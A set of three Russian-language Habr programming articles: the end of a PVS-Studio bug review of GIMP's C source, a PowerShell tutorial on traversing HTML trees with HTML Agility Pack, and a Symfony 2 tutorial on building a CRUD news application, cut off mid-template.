gboolean gimp_wire_read (GIOChannel *channel,
guint8 *buf,
gsize count,
gpointer user_data)
{
g_return_val_if_fail (count >= 0, FALSE);
....
}
```
Предупреждение PVS-Studio: V547 Expression 'count >= 0' is always true. Unsigned type value is always >= 0. gimpwire.c 99
Проверка «count >= 0» не имеет смысла, так как переменная 'count' является беззнаковой. Возможно, это не серьезная ошибка, но упомянуть о ней стоит.
Аналогичные проверки: gimpwire.c 170; gimpcageconfig.c 428.
Более интересные случаи, найденные с помощью диагностики V547, будут рассмотрены ниже.
**Фрагмент N13**
```
static GimpPlugInImageType
image_types_parse (const gchar *name,
const gchar *image_types)
{
....
while (*image_types &&
((*image_types != ' ') ||
(*image_types != '\t') ||
(*image_types != ',')))
{
image_types++;
}
....
}
```
Предупреждение: V547 Expression is always true. Probably the '&&' operator should be used here. gimppluginprocedure.c 808
Для наглядности поясню на искусственном примере:
```
int A = ...;
if ( A != 1 || A != 2 || A != 3)
```
Чему бы ни была равна переменная A, условие всегда выполняется.
**Фрагмент N14**
```
static gunichar basic_inchar(port *pt) {
....
gunichar c;
....
c = g_utf8_get_char_validated(pt->rep.string.curr, len);
if (c >= 0) /* Valid UTF-8 character? */
{
len = g_unichar_to_utf8(c, NULL);
pt->rep.string.curr += len;
return c;
}
/* Look for next valid UTF-8 character in buffer */
pt->rep.string.curr = g_utf8_find_next_char(
pt->rep.string.curr,
pt->rep.string.past_the_end);
....
}
```
Предупреждение PVS-Studio: V547 Expression 'c >= 0' is always true. Unsigned type value is always >= 0. scheme.c 1654
Все символы будут считаться корректными UTF-8 символами. Переменная 'c' имеет беззнаковый тип. Следовательно, условие (c >= 0) всегда истинно.
**Фрагмент N15**
```
#define ABS(a) (((a) < 0) ? -(a) : (a))
static gint32
load_thumbnail (...., gint32 thumb_size, ....)
{
....
guint32 size;
guint32 diff;
....
diff = ABS(thumb_size - size);
....
}
```
Предупреждение PVS-Studio: V547 Expression '(thumb\_size — size) < 0' is always false. Unsigned type value is never < 0. file-xmc.c 874
Программа работает не так, как задумывал программист. Предположим, что переменная 'thumb\_size' равна 10, а переменная 'size' равна 25.
На первый взгляд кажется, что результатом вычислений будет значение 15. На самом деле, результат будет равен 0xFFFFFFF1 (4294967281).
Выражение «thumb\_size — size» имеет беззнаковый тип. В результате, мы получим число 0xFFFFFFF1u. Макрос ABS в данном случае ничего не делает.
**Фрагмент N16**
```
static gchar *
script_fu_menu_map (const gchar *menu_path)
{
....
const gchar *suffix = menu_path + strlen (mapping[i].old);
if (! *suffix == '/')
continue;
....
}
```
Предупреждение PVS-Studio: V562 It's odd to compare 0 or 1 with a value of 47: !\* suffix == '/'. script-fu-scripts.c 859
Вновь беда с приоритетом операций. Вначале вычисляется выражение "!\*suffix". В результате, получаем 0 или 1. Этот ноль или единица сравнивается с символом '/', что не имеет никакого смысла.
Правильный вариант:
```
if (*suffix != '/')
```
**Фрагмент N17**
```
static void
save_file_chooser_response (GtkFileChooser *chooser,
gint response_id,
GFigObj *obj)
{
....
gfig_context->current_obj = obj;
gfig_save_callbk ();
gfig_context->current_obj = gfig_context->current_obj;
....
}
```
Предупреждение PVS-Studio: V570 The 'gfig\_context->current\_obj' variable is assigned to itself. gfig-dialog.c 1623
Переменная копируется сама в себя.
**Фрагмент N18**
```
size g_strlcpy(gchar *dest, const gchar *src, gsize dest_size);
GList * gimp_brush_generated_load (....)
{
....
gchar *string;
....
/* the empty string is not an allowed name */
if (strlen (string) < 1)
g_strlcpy (string, _("Untitled"), sizeof (string));
....
}
```
Предупреждение PVS\_Studio: V579 The g\_strlcpy function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. gimpbrushgenerated-load.c 119
Оператор «sizeof(string)» вычисляет размер указателя, а не размер буфера.
**Фрагмент N19**
```
static gboolean save_image (....)
{
....
gint c;
....
if (has_alpha && (data[rowoffset + k + 1] < 128))
c |= 0 << (thisbit ++);
else
....
}
```
Предупреждение PVS-Studio: V684 A value of the variable 'c' is not modified. Consider inspecting the expression. It is possible that '1' should be present instead of '0'. file-xbm.c 1136
Выражение «c |= 0 << (thisbit ++);» не изменяет значение переменной 'c'.
По моему наблюдению, такой код можно встретить, когда хотели сбросить определённый бит, но ошиблись. В этом случае код должен выглядеть так:
```
c &= ~(1u << (thisbit ++));
```
**Фрагмент N20**
```
gboolean gimp_item_get_popup_size (....,
gint *popup_width, gint *popup_height)
{
....
if (scaling_up)
{
*popup_width = gimp_item_get_width (item);
*popup_width = gimp_item_get_height (item);
}
....
}
```
Предупреждение PVS-Studio: V537 Consider reviewing the correctness of 'popup\_width' item's usage. gimpitem-preview.c 126
Опечатка или последствие Copy-Paste. Правильный вариант:
```
*popup_width = gimp_item_get_width (item);
*popup_height = gimp_item_get_height (item);
```
**Фрагмент N21**
```
gboolean gimp_draw_tool_on_vectors_curve (....,
GimpAnchor **ret_segment_start,
GimpAnchor **ret_segment_end,
....)
{
....
if (ret_segment_start) *ret_segment_start = NULL;
if (ret_segment_start) *ret_segment_end = NULL;
....
}
```
Предупреждение PVS-Studio: V581 The conditional expressions of the 'if' operators situated alongside each other are identical. Check lines: 1212, 1213. gimpdrawtool.c 1213
Опечатка или последствие Copy-Paste. Правильный вариант:
```
if (ret_segment_start) *ret_segment_start = NULL;
if (ret_segment_end) *ret_segment_end = NULL;
```
**Фрагмент N22-N40**
```
ObjectList_t*
object_list_append_list(ObjectList_t *des, ObjectList_t *src)
{
GList *p;
for (p = src->list; p; p = p->next)
object_list_append(des, object_clone((Object_t*) p->data));
object_list_set_changed(des, (src) ? TRUE : FALSE);
return des;
}
```
Предупреждение PVS-Studio: V595 The 'src' pointer was utilized before it was verified against nullptr. Check lines: 536, 538. imap\_object.c 536
Из условия "(src)? TRUE: FALSE" можно сделать вывод, что указатель 'src' может быть равен nullptr.
Однако, выше этот указатель смело разыменовывают в выражении «p = src->list», что является ошибкой.
Есть и другие места, где выдано предупреждение V595. Эти места следует также проверить:* The 'l' pointer. Check lines: 262, 265. gimpimage-item-list.c 262
* The 'quantobj' pointer. Check lines: 965, 971. gimpimage-convert-type.c 965
* The 'slist' pointer. Check lines: 683, 685. gimpfont.c 683
* The 'dock\_window->p->context' pointer. Check lines: 487, 504. gimpdockwindow.c 487
* The 'layer\_renderer' pointer. Check lines: 1245, 1275. gimplayertreeview.c 1245
* The 'shell->display' pointer. Check lines: 574, 588. gimpdisplayshell-dnd.c 574
* The 'ops' pointer. Check lines: 265, 267. gimpgegltool.c 265
* The 'dialog' pointer. Check lines: 234, 249. file-save-dialog.c 234
* The 'shell' pointer. Check lines: 738, 763. view-actions.c 738
* The 'fname' pointer. Check lines: 1426, 1437. scheme.c 1426
* The 'sgip->table' pointer. Check lines: 148, 161. sgi-lib.c 148
* The 'sgip->length' pointer. Check lines: 154, 167. sgi-lib.c 154
* The 'pixels' pointer. Check lines: 1482, 1508. psd-load.c 1482
* The 'img\_a->alpha\_names' pointer. Check lines: 1735, 1741. psd-load.c 1735
* The 'brush' pointer. Check lines: 432, 451. brush.c 432
* The 'curve\_list->data' pointer. Check lines: 126, 129. curve.c 126
* The 'outline\_list->data' pointer. Check lines: 183, 187. pxl-outline.c 183
* The 'id\_ptr' pointer. Check lines: 896, 898. sample-colorize.c 896
Заключение
----------
Трудно судить о серьезности найденных ошибок. Мне будет приятно, если благодаря статье будет что-то исправлено.
Хотя, как я говорил, мне не нравится интерфейс GIMP, я очень благодарен разработчикам за их работу. Немало картинок к статьям я сделал именно в GIMP. Спасибо.
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Checking GIMP's Source Code with PVS-Studio](http://www.viva64.com/en/b/0273/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/233489/ | null | ru | null |
# PowerShell: обход и визуализация HTML-дерева из файла
Ранее я написал скрипт для программы-оболочки «Windows PowerShell» версии 5.1 (или для «PowerShell» версии 7), работающей в операционной системе «Windows 10». Этот скрипт получает текст из текстового файла с кодом на языке HTML (в кодировке UTF-8 без метки BOM) и помещает его в переменную `$html` типа `System.String`. После этого [с помощью библиотеки «HTML Agility Pack»](https://habr.com/ru/post/682298/) содержимое переменной `$html` конвертируется в объект `$dom`, содержащий HTML-дерево:
```
Add-Type -Path "HtmlAgilityPack.1.11.43\lib\netstandard2.0\HtmlAgilityPack.dll"
$dom = New-Object -TypeName "HtmlAgilityPack.HtmlDocument"
$dom.LoadHtml($html)
```
В этой статье я буду разбирать задачу вывода HTML-дерева из объекта `$dom` в консоль.
Код на языке HTML для тестирования скрипта:
```
Название страницы
Текст.
```
1. Простой способ
-----------------
```
# Обход HTML-дерева
foreach ($node in $dom.DocumentNode.DescendantNodes()) {
# Обработка узла
# ...
}
```
*Пояснения к простому способу*
Предположим, если код обработки узла будет следующим:
```
# Обработка узла (вывод в консоль)
$node.Name
```
то в консоли я получаю такой результат:
```
#comment
#text
html
#text
head
#text
meta
#text
title
#text
#text
#text
body
#text
#comment
#text
p
#text
#text
#text
```
Любой, кто знаком с понятием [объектной модели документа](https://ru.wikipedia.org/wiki/Document_Object_Model) («DOM»), сразу поймет, что означают эти результаты. HTML-дерево состоит из узлов разных типов. Корневой узел (он в результат выше не выведен) обладает именем `#document`. Текстовые узлы обладают именем `#text`. Узлы-комментарии обладают именем `#comment`. И, наконец, самые важные узлы, HTML-элементы, обладают именами, совпадающими с названиями соответствующих HTML-тегов.
В результате, приведенном выше, более-менее всё понятно с HTML-элементами, но для текстовых узлов и узлов-комментариев хотелось бы видеть их содержимое, чтобы понять, что это за узлы. Кроме того, хотелось бы убрать из вывода «пустые» текстовые узлы. «Пустые» текстовые узлы содержат *только* пробельные символы (пробелы, символы новой строки, символы горизонтальной табуляции и тому подобные). Изменим код обработки узла с учетом этих требований:
```
# Обработка узла (вывод в консоль)
if (("#text" -eq $node.Name) -and ("" -eq $node.OuterHTML.Trim())) {
# Пустые узлы (пробелы, символы новой строки и т.п.) не выводим
} else {
$content = ""; if ("#" -eq $node.Name[0]) {
$content = ", '" + $node.OuterHTML.Trim() + "'" }
$node.Name + $content
}
```
При такой обработке узла я получаю в консоли следующий результат:
```
#comment, ''
html
head
meta
title
#text, 'Название страницы'
body
#comment, ''
p
#text, 'Текст.'
```
Это уже гораздо лучше. Однако, не хватает визуализации «глубины» для каждого узла. Чем больше у узла узлов-предков, тем «глубже» он находится в HTML-дереве. Традиционно «глубина» узла отображается в консоли шириной отступа от левой границы окна консоли. Чем «глубже» находится узел, тем дальше он отодвигается от левой границы окна консоли. Библиотека «HTML Agility Pack» дает нам возможность узнать об узлах-предках определенного узла с помощью метода `Ancestors` ([документация](https://html-agility-pack.net/ancestors)). Чтобы добавить визуализации HTML-дерева «глубины», изменим код обработки узла (я только добавил две строки и изменил одну из существующих):
```
# Обработка узла (вывод в консоль)
if (("#text" -eq $node.Name) -and ("" -eq $node.OuterHTML.Trim())) {
# Пустые узлы (пробелы, символы новой строки и т.п.) не выводим
} else {
$content = ""; if ("#" -eq $node.Name[0]) {
$content = ", '" + $node.OuterHTML.Trim() + "'" }
$count = 0; foreach ($ancestor in $node.Ancestors()) { $count++ }
$count = ($count - 1) * 2 # отступ: 2 пробела на уровень, можно менять
(" " * $count) + $node.Name + $content
}
```
При такой обработке узла я получаю в консоли следующий результат:
```
#comment, ''
html
head
meta
title
#text, 'Название страницы'
body
#comment, ''
p
#text, 'Текст.'
```
Сравните этот результат с тестовым кодом на языке HTML из начала статьи.
Способы обхода дерева
---------------------
Простой способ хорош своей простотой, но он не обладает гибкостью. Предположим, HTML-дерево потребуется обойти другим способом, не зафиксированным в методе `DescendantNodes` ([документация](https://html-agility-pack.net/descendant-nodes)), предоставляемом библиотекой «HTML Agility Pack». Чтобы это реализовать, нужно представлять, какой способ обхода дерева реализуется внутри метода `DescendantNodes`, какие способы обхода дерева вообще существуют и как они реализуются.
Метод `DescendantNodes` реализует обход дерева в глубину, который называют [NLR](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%85%D0%BE%D0%B4_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%B0).
Коротко напомню, что означает эта аббревиатура. Обход дерева называют «обходом дерева в глубину» потому, что при таком обходе сначала выполняется проход вглубь до «листа» дерева, а потом выполняется возврат до ближайшей развилки и обход следующей ветки дерева опять как можно дальше вглубь и так далее. Обходу дерева в глубину противопоставляется «обход дерева в ширину». Кроме того, эти два способа не исчерпывают список способов обхода дерева. При обходе дерева в глубину по алгоритму NLR на каждой развилке сначала выполняется обработка текущего узла (эта операция обозначается буквой N от слова «node»), а затем выполняется обход узлов потомков текущего узла слева направо (обозначается буквами L и R от слов «left» и «right»).
При реализации обхода дерева потребуется реализовать «память» для запоминания узлов при обходе. В качестве такой «памяти» обычно используют структуры вроде стека или очереди. Я буду использовать стек. Для работы со стеком буду использовать класс `System.Collections.Stack` ([документация](https://docs.microsoft.com/en-us/dotnet/api/system.collections.stack)).
Вот описание нужного алгоритма [из википедии](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%85%D0%BE%D0%B4_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%B0) на псевдокоде (обход бинарного дерева в глубину, итеративный алгоритм, NLR — прямой обход с приоритетом обхода потомков слева направо):
```
iterativePreorder(node)
if (node = null)
return
s ← empty stack
s.push(node)
while (not s.isEmpty())
node ← s.pop()
visit(node)
//правый потомок заносится первым, так что левый потомок обрабатывается первым
if (node.right ≠ null)
s.push(node.right)
if (node.left ≠ null)
s.push(node.left)
```
Ниже я реализую этот алгоритм на языке PowerShell.
2. Более сложный способ (NLR)
-----------------------------
Иногда в простых случаях используют рекурсивный алгоритм обхода дерева, но у него есть известные ограничения (проблема переполнения [стека вызовов](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%BE%D0%B2)). Поэтому мне интереснее итеративный алгоритм обхода дерева. В псевдокоде выше показан обход [бинарного](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE) дерева, то есть дерева, в котором у каждого узла не более двух потомков. Я же буду описывать реализацию обхода дерева, у которого может быть более двух потомков. Итак, вот код:
```
# Обход HTML-дерева
$stack = New-Object System.Collections.Stack
$stack.Push($dom.DocumentNode);
while ($stack.Count) {
$node = $stack.Pop();
# Обработка узла
# ...
# Если у узла есть потомки (то есть если он — не лист)
if ($node.ChildNodes) {
# Помещаем потомков в стек справа налево, чтобы начать обработку слева
for ($i = $node.ChildNodes.Count - 1; $i -ge 0; $i--) {
$stack.Push($node.ChildNodes[$i])
}
}
}
```
Достаточно тонкий момент — с помещением потомков текущего узла в «память». Так как в качестве «памяти» используется стек (эта структура работает по принципу «LIFO», то есть «последним пришёл — первым вышел»), то потомков в стек приходится помещать в обратном порядке — справа налево, чтобы начать их обрабатывать слева направо. Поэтому коллекцию `ChildNodes` ([документация](https://html-agility-pack.net/child-nodes)) проходим от последнего элемента к начальному. Если это делать в «естественном» порядке, от начального к последнему, то получится обход дерева по другому алгоритму — NRL (прямой обход в глубину справа налево), то есть узлы будут обработаны в другом порядке и HTML-дерево в консоли будет отображено по-другому.
Код обработки узла возьмем тот же, что и для описанного выше простого способа обхода дерева. Только я еще добавил код, исключающий вывод в консоль корневого узла HTML-дерева (имя этого узла — `#document`):
```
# Обработка узла (вывод в консоль)
if (("#document" -eq $node.Name) -or
(("#" -eq $node.Name[0]) -and ("" -eq $node.OuterHTML.Trim()))) {
# Корневой узел не выводим,
# Пустые узлы (пробелы, символы новой строки и т.п.) не выводим
} else {
$content = ""; if ("#" -eq $node.Name[0]) {
$content = ", '" + $node.OuterHTML.Trim() + "'" }
$count = 0; foreach ($ancestor in $node.Ancestors()) { $count++ }
$count = ($count - 1) * 2 # отступ: 2 пробела на уровень, можно менять
(" " * $count) + $node.Name + $content
}
```
Совместив вышеприведенные код обхода дерева и код обработки узла, я получил у себя на компьютере такой результат:
```
#comment, ''
html
head
meta
title
#text, 'Название страницы'
body
#comment, ''
p
#text, 'Текст.'
```
Этот результат совпадает с результатом для простого способа обхода дерева из предыдущего раздела статьи. Тестовый файл с кодом на языке HTML — тот же.
3. Способ NRL (меняем порядок обхода потомков)
----------------------------------------------
Я решил продемонстрировать еще два варианта обхода дерева из множества возможных. В случае с HTML-деревом мне пока что достаточно способа обхода NLR. Но в других скриптах (задача обхода дерева — это одна из часто встречающихся задач) могут пригодиться и другие способы обхода. Да и полезно знать, что и как в исходном алгоритме влияет на способ обхода дерева.
Как уже было сказано выше, для изменения алгоритма NLR на NRL достаточно поменять порядок обхода потомков (это измененный фрагмент из вышеприведенного кода):
```
# Помещаем потомков в стек слева направо, чтобы начать обработку справа
for ($i = 0; $i -le $node.ChildNodes.Count - 1; $i++) {
$stack.Push($node.ChildNodes[$i])
}
```
Вот вывод в консоль HTML-дерева из того же тестового файла:
```
html
body
p
#text, 'Текст.'
#comment, ''
head
title
#text, 'Название страницы'
meta
#comment, ''
```
Видно, что HTML-элементы, находящиеся на одном и том же уровне глубины, выведены теперь в обратном порядке. Например, директива теперь оказалась ниже HTML-элемента `html`, а, к примеру, HTML-элемент `head` оказался ниже HTML-элемента `body`. И так далее.
4. Способ LRN (обратный обход, от листьев)
------------------------------------------
Тут реализация получилась немного сложнее. Я спрятал ее под спойлером, чтобы не увеличивать длину статьи:
Hidden text
```
# Функция обработки узла (вывода в консоль)
function visit($node) {
if (("#document" -eq $node.Name) -or
(("#" -eq $node.Name[0]) -and ("" -eq $node.OuterHTML.Trim()))) {
# Корневой узел не выводим,
# Пустые узлы (пробелы, символы новой строки и т.п.) не выводим
} else {
$content = ""; if ("#" -eq $node.Name[0]) {
$content = ", '" + $node.OuterHTML.Trim() + "'" }
$count = 0; foreach ($ancestor in $node.Ancestors()) { $count++ }
$count = ($count - 1) * 2 # 2 пробела на уровень
(" " * $count) + $node.Name + $content
}
}
# Обход HTML-дерева, вывод узлов в консоль
$stack = New-Object System.Collections.Stack
$node = $dom.DocumentNode
$lastNodeVisited = $null
while ($stack.Count -or $node) {
if ($node) {
# Итерация заглубления
$stack.Push($node) # сохраняем узел в стек
if ($node.ChildNodes) { # если есть потомки,
$node = $node.ChildNodes[0] # переходим к левому потомку
} else {
$node = $null # потомка нет
}
} else {
# Итерация обработки листа или возврата наверх
$peekNode = $stack.Peek() # смотрим, но не извлекаем
if ($peekNode.ChildNodes) {
$i = $peekNode.ChildNodes.IndexOf($lastNodeVisited)
if ($i -lt ($peekNode.ChildNodes.Count - 1)) {
# Возврат наверх и переход к следующему потомку справа
$node = $peekNode.ChildNodes[$i + 1]
} else {
# Все потомки обработаны, обработаем родителя
# Обработка узла (не лист)
visit($peekNode)
$lastNodeVisited = $stack.Pop()
}
} else {
# Обработка узла (лист)
visit($peekNode)
$lastNodeVisited = $stack.Pop()
}
}
}
```
Вот результат работы алгоритма LRN (обратный обход, от листьев, с приоритетом обхода потомков слева направо):
```
#comment, ''
meta
#text, 'Название страницы'
title
head
#comment, ''
#text, 'Текст.'
p
body
html
```
Видно, что в каждом заглублении сначала выводятся листья (узлы без потомков) данного HTML-дерева, а затем — узлы с потомками. Например, первое заглубление содержит единственный узел-лист . Во втором заглублении сначала выводится узел-лист `meta`, затем — текстовый узел-лист `Название страницы`, при возврате из заглубления выводится узел-родитель (не лист) `title` и так далее.
Заключение
----------
Я собираюсь использовать в своем скрипте первый алгоритм обхода дерева (с помощью метода `DescendantNodes`, алгоритм NLR) из приведенных в этой статье. Остальной код, реализующий разные алгоритмы обхода дерева, был написан, скорее, для того, чтобы поупражняться с алгоритмами и структурами данных. | https://habr.com/ru/post/682438/ | null | ru | null |
# Создание CRUD приложения на Symfony 2
#### Symfony 2.0
Недавно вышедшая версия фреймворка [Symfony 2](http://symfony.com) включает в себя много интересных фич. В данной статье хочу рассказать про создание [CRUD](http://ru.wikipedia.org/wiki/CRUD) приложений — очень часто встречающейся задачи создания веб-интерфейса для создания, чтения, обновления и удаления записей в БД.
Про архитектуру и установку Symfony 2 [уже было на хабре](http://habrahabr.ru/blogs/symfony/125469/), поэтому считаем что Symfony 2 SE уже установлена и основные используемые понятия (бандлы, формы, шаблоны и т.д) вам знакомы.
#### Основные задачи, стоящие при разработке стандартного CRUD-приложения на Symfony 2
1. Разработка модели данных
2. Разработка контроллеров, форм и шаблонов позволяющих создавать, читать, обновлять и удалять сущности модели данных
В этой статье в качестве примера создадим приложение для редактирования новостей, каждая из которых привязана к категории, к новости можно привязывать ссылки.
#### Разработка модели данных
Создание описаний сущностей посредством ручного написания yml или xml достаточно утомительное занятие (хотя конечно можно воспользоваться плагином к [Mysql Workbench](http://code.google.com/p/mysql-workbench-doctrine-plugin/) или специализированным ПО). Для ускорения процесса в Symfony 2 есть [удобное средство генерации описания модели данных путем реверс-инжиниринга существующей БД](http://symfony.com/doc/current/cookbook/doctrine/reverse_engineering.html).
Для начала создаем бандл TestNewsBundle:
```
php app/console generate:bundle --namespace=Test/NewsBundle --format=annotation --structure
```
Создаем схему БД в [Mysql Workbench](http://wb.mysql.com/) (или любом другом средстве проектирования БД):
```
SET FOREIGN_KEY_CHECKS=0;
CREATE TABLE `news` (
`id` INT NOT NULL AUTO_INCREMENT ,
`news_category_id` INT NOT NULL ,
`title` VARCHAR(255) NULL ,
`announce` TEXT NULL ,
`text` TEXT NULL ,
`pub_date` DATE NULL ,
PRIMARY KEY (`id`) ,
INDEX `pub_date` (`pub_date` ASC) ,
INDEX `fk_news_news_category` (`news_category_id` ASC) ,
CONSTRAINT `fk_news_news_category`
FOREIGN KEY (`news_category_id` )
REFERENCES `news_category` (`id` )
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB;
CREATE TABLE `news_category` (
`id` INT NOT NULL AUTO_INCREMENT ,
`name` VARCHAR(255) NULL ,
PRIMARY KEY (`id`) )
ENGINE = InnoDB
CREATE TABLE `news_link` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`news_id` INT NOT NULL ,
`url` varchar(255) DEFAULT NULL,
`text` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`) ,
INDEX `fk_news_link_news1` (`news_id` ASC) ,
CONSTRAINT `fk_news_link_news1`
FOREIGN KEY (`news_id` )
REFERENCES `news` (`id` )
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB;
```
Создаем классы doctrine:
```
php app/console doctrine:mapping:import TestNewsBundle annotation
```
В результате выполнения этой команды в поддиректории Test/NewsBundle/Entity будут созданы по одному классу для каждой таблицы, при этом конфигурация маппинга объектов в реляционные таблицы для [Doctrine ORM](http://www.doctrine-project.org/projects/orm) описаны в аннотациях классов, например класс News:
```
php
namespace Test\NewsBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* Test\NewsBundle\Entity\News
*
* @ORM\Table(name="news")
* @ORM\Entity
*/
class News
{
/**
* @var integer $id
*
* @ORM\Column(name="id", type="integer", nullable=false)
* @ORM\Id
* @ORM\GeneratedValue(strategy="IDENTITY")
*/
private $id;
/**
* @var string $title
*
* @ORM\Column(name="title", type="string", length=255, nullable=true)
*/
private $title;
/**
* @var text $announce
*
* @ORM\Column(name="announce", type="text", nullable=true)
*/
private $announce;
/**
* @var text $text
*
* @ORM\Column(name="text", type="text", nullable=true)
*/
private $text;
/**
* @var date $pubDate
*
* @ORM\Column(name="pub_date", type="date", nullable=true)
*/
private $pubDate;
/**
* @var NewsCategory
*
* @ORM\ManyToOne(targetEntity="NewsCategory")
* @ORM\JoinColumns({
* @ORM\JoinColumn(name="news_category_id", referencedColumnName="id")
* })
*/
private $newsCategory;
}
</code
```
Для дополнения классов геттерами и сеттерами выполняем команду:
```
php app/console doctrine:generate:entities TestNewsBundle
```
#### Создание заготовки для CRUD — приложения
Cоздаем заготовку для работы с новостями с использованием команды **doctrine:generate:crud**. Формат роутинга — аннотации в файле контроллера (Test/NewsBundle/Controller/NewsController). Роутинг через аннотации в файле контроллера работает через бандл [SensioFrameworkExtra](http://symfony.com/doc/2.0/bundles/SensioFrameworkExtraBundle/index.html) (в поставке Symfony 2 SE он есть).
```
php app/console doctrine:generate:crud --entity=TestNewsBundle:News --route-prefix=news --with-write --format=annotation
```
Теперь при заходе по указанному при генерации пути (если Symfony 2 распакован в wwwroot — <http://localhost/Symfony/web/app_dev.php/news>/) показывается пустой список новостей, а при нажатии на ссылку «Create new entry» — открывается форма создания записи по умолчанию.
Создадим такую же заготовку для работы с категориями новостей и занесем несколько категорий:
```
php app/console doctrine:generate:crud --entity=TestNewsBundle:NewsCategory --route-prefix=newscategory --with-write --format=annotation
```
Для того чтобы у нас в дальнейшем была заготовка для формы добавления ссылки к новости аналогично сгенерируем заготовку для сущности NewsLink:
```
php app/console doctrine:generate:crud --entity=TestNewsBundle:NewsLink --route-prefix=newslink --with-write --format=annotation
```
Чтобы при выводе списка категорий в форме добавления новости система знала какое поле показывать в селекте, в класс Test/NewsBundle/Entity/NewsCategory нужно добавить метод:
```
function __toString()
{
return $this->getName();
}
```
#### Модификация класса формы
Теперь подправим сгенерированную форму Test/NewsBundle/Form/NewsType. Добавим заголовки к полям (label), проставим нужные типы полей — text (отображается input type=text), textarea. В полях pubDate и newsCategory оставим тип поля null — в этом случае Symfony Form Component сам «угадывает» какой тип поля показать.
```
php
namespace Test\NewsBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilder;
class NewsType extends AbstractType
{
public function buildForm(FormBuilder $builder, array $options)
{
$builder-add('title', 'text', array('label' => 'Заголовок'))
->add('announce', 'textarea', array('label' => 'Анонс'))
->add('text', 'textarea', array('label' => 'Текст'))
->add('pubDate', null, array('label' => 'Дата новости'))
->add('newsCategory', null, array('label' => 'Категория'));
}
public function getName()
{
return 'news';
}
}
```
#### Модификация шаблона формы
Подробно про формы и шаблонизацию в формах можно почитать разделы руководства [Формы](http://symfony.com/doc/current/book/forms.html) и [Кастомизация форм](http://symfony.com/doc/current/cookbook/form/form_customization.html). В создаваемой форме заменим отображение формы на табличное, для этого в шаблон нужно добавить указание использовать табличную верстку (верстку по умолчанию также можно изменить в настройках).
```
{% form_theme form 'form_table_layout.html.twig' %}
```
Однако нам в дальнейшем нужно будет переопределить стандартное отображение поля, поэтому шаблон занесения новости Test/NewsBundle/Resources/views/News/new.html.twig выглядит так:
```
{% use 'form_table_layout.html.twig' %}
{% form_theme form _self %}
Занесение новости
=================
{{ form\_widget(form) }}
Создать новость
* [Назад к списку]({{ path('news') }})
```
Форма отображается в табличной верстке:
#### Редактирование связанных записей
Теперь займемся самым интересным — редактированием ссылок к новости. При реверс-инжиниринге в классы сущностей была автоматически добавлена только связь «Ссылка -> Новость». Для того чтобы добавить связь «Новость -> Cсылки» нужно в классе Test\NewsBundle\Entity\News добавить:
```
/**
* @ORM\OneToMany(targetEntity="NewsLink", mappedBy="news", cascade={"all"})
*/
protected $newsLinks;
function __construct()
{
$this->newsLinks = new \Doctrine\Common\Collections\ArrayCollection();
}
```
После чего выполнить команду (будут сгенерированы геттер и сеттер для атрибута $newsLinks):
```
php app/console doctrine:generate:entities TestNewsBundle
```
Теперь в класс Test/NewsBundle/Form/NewsType добавляем поле типа «Collection», позволяющее редактировать набор связанных сущностей:
```
$builder->add('title', 'text', array('label' => 'Заголовок'))
....
->add('newsLinks', 'collection', array(
'label' => 'Ссылки к новости',
'type' => new NewsLinkType(),
'allow_add' => true,
'allow_delete' => true,
'prototype' => true
));
```
В классе Test\NewsBundle\Form\NewsLinkType обязательно нужно указать название класса редактируемой сущности (опция data\_class):
```
php
namespace Test\NewsBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilder;
class NewsLinkType extends AbstractType
{
public function buildForm(FormBuilder $builder, array $options)
{
$builder-add('url')
->add('text');
}
public function getName()
{
return 'newsLinkType';
}
public function getDefaultOptions(array $options)
{
return array(
'data_class' => 'Test\NewsBundle\Entity\NewsLink',
);
}
}
```
Однако если сейчас посмотреть форму — то будет отображен только заголовок поля «Ссылки к новости». Чтобы форма заработала нужно еще модифицировать шаблон. Заодно и вынесем определение формы в отдельный шаблон. Для этого создаем файл Test/NewsBundle/Resources/views/News/form.html.twig:
```
{% use 'form_table_layout.html.twig' %}
{% form_theme form _self %}
{{ form\_errors(form) }}
{{ form\_row (form.title) }}
{{ form\_row (form.announce) }}
{{ form\_row (form.text) }}
{{ form\_row (form.pubDate) }}
{{ form\_row (form.newsCategory) }}
| Ссылки к новости |
{% macro linkRow(link) %}
| {{ form\_widget(link.url) }} | {{ form\_widget(link.text) }} | [X](#) |
{% endmacro %}
{{ \_self.linkRow (form.newsLinks.get('prototype')) }}
| | |
| --- | --- |
| Url | Название ссылки |
{% for key, link in form.newsLinks %}
{{ \_self.linkRow(link) }}
{% endfor %}
$(function() {
$("#addLink" ).click(function() {
$('#linksTable tbody').append($('#nl').html().replace(/\$\$name\$\$/g, $('#linksTable tbody tr').length)); });
$("form a.deleteRowLink").live('click', function() {
$(this).closest('tr').remove(); });
});
|
{{ form\_rest(form) }}
Сохранить
```
Шаблон занесения записи Test/NewsBundle/Resources/views/News/new.html.twig:
```
Занесение новости
=================
{% include 'TestNewsBundle:News:form.html.twig' %}
* [Назад к списку]({{ path('news') }})
```
Шаблон редактирования записи Test/NewsBundle/Resources/views/News/edit.html.twig:
```
Редактирование новости
======================
